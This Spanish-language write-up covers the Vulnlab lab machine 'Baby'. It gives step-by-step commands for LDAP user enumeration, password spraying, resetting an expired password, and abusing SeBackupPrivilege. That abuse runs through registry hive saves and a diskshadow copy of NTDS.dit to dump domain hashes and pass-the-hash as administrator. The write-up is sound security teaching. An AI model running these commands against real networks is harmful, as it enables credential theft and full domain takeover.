Baby - Writeup (Vulnlab)
Writeup de la maquina Easy "Baby" de la plataforma Vulnlab.

Search for a command to run...
Writeup de la maquina Easy "Baby" de la plataforma Vulnlab.

No comments yet. Be the first to comment.
Flameshot is one of those tools I end up using all the time. It is simple, lightweight, and just works for quick screenshots. You can capture, annotate, blur sensitive data, and copy straight to the c

After 6 or 7 years on Hack The Box, competing, failing, learning, and coming back again, I finally reached the Top 7 worldwide. The number itself is not what matters most, but everything behind it: ti

Anonymous SMB and NTLM theft enable Kerberoasting; forged silver tickets and MSSQL/token impersonation achieve SYSTEM.

In the Cybersecurity world, paranoia is part of daily life. We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming...

INFO: Ports and Services 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 32...

Al ejecutar el primer escaneo con NMAP, se obtienen los siguientes resultados, que proporcionan una visión inicial de los servicios y puertos abiertos en el sistema objetivo:
nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2


Cuando trabajamos en entornos de ctf y pentesting, es común asignar un nombre de dominio personalizado a una dirección IP para facilitar el acceso y evitar tener que recordar IPs.

Una forma práctica de lograr esto a nivel local es mediante la edición del archivo /etc/hosts, lo que permite mapear nombres de dominio a direcciones IP específicas.
Si un servidor LDAP está expuesto públicamente y permite consultas anónimas, es posible intentar enumerar usuarios sin necesidad de autenticación, lo que puede ser un punto de partida valioso para un ataque.
Utilizando ldapsearch, una herramienta estándar para consultar servicios LDAP, podemos enviar una búsqueda base sin credenciales para intentar descubrir información sobre los usuarios del sistema:
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"
Al continuar con la enumeración, encontramos entre los comentarios del usuario “Teresa Bell” una descripción interesante que sugiere que su contraseña fue restablecida o que el usuario nunca se ha conectado.
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4

Podemos probar esto con crackmapexec, aunque inicialmente recibimos una mala noticia:
sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!'

Parece que la contraseña fue cambiada. Es común verificar si esta contraseña pudo haber sido reutilizada en otro usuario, por lo que realizamos un Password Spraying con todos los demás usuarios presentes en el sistema.
Para ello, primero generamos un wordlist con los usuarios y luego utilizamos crackmapexec para realizar el ataque.
Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:"

Observamos el campo “member:”, y al verificar el resto del archivo, parece ser un campo adecuado para extraer usuarios. Con esta información, procedemos a crear el wordlist de users.txt utilizando un poco de regex.
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt
Si verificamos:

Las primeras 7 lineas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:
sed -i '1,7d' users.txt

Utilizamos nuestro wordlist creado users.txt con la contraseña conocida que tenemos.
sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares

Logramos un match con la cuenta de Caroline.Robinson. Al parecer, el estado de su contraseña es que “debería ser cambiada”.
Considerando que tenemos un match con Caroline.Robinson, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:
smbpasswd.py -newpass 'MyHack1234' caroline.robinson@baby.vl

Ingresamos con la nueva password que seteamos:
evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl

Si nos vamos a Desktop/, sacamos la flag de user.txt
Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.
whoami /priv

Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. SeBackupPrivilege y SeRestorePrivilege.
#SeBackupPrivilege:
Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.#SeRestorePrivilege:
Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema
Juntando estos dos permisos y con el apoyo del siguiente link: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry
reg save hklm\system system
reg save hklm\sam sam

Procedemos a descargar localmente los dos archivos.
sam
system
Usamos secretsdump.py para obtener los hashes:

Logueo con evil-winrm y me llevo una sorpresa:
evil-winrm -i baby.vl -u "administrator" -H "8d9....."

El hash que dumpeamos es ni mas ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en como obtener el archivo NTDS.dit.
NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.
Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.
Este sera nuestro vector de ataque. Diskshadow es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.
En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina. La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del NTDS.dit. Luego de realizar esto podremos extraer sin problemas el hash de ADMIN
Creo el siguiente script localmente y lo subo con evil-winrm usando la función “upload”:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

diskshadow /s mySam.txt


Cuando finaliza veremos que la copia fue realizada en el disco E:\.
robocopy /b E:\Windows\ntds . ntds.dit

Descargo el archivo ntds.dit y ejecuto secretsdump.py
secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL

Finalmente logueamos con evil-winrm:
evil-winrm -i baby.vl -u "administrator" -H "ee445..."
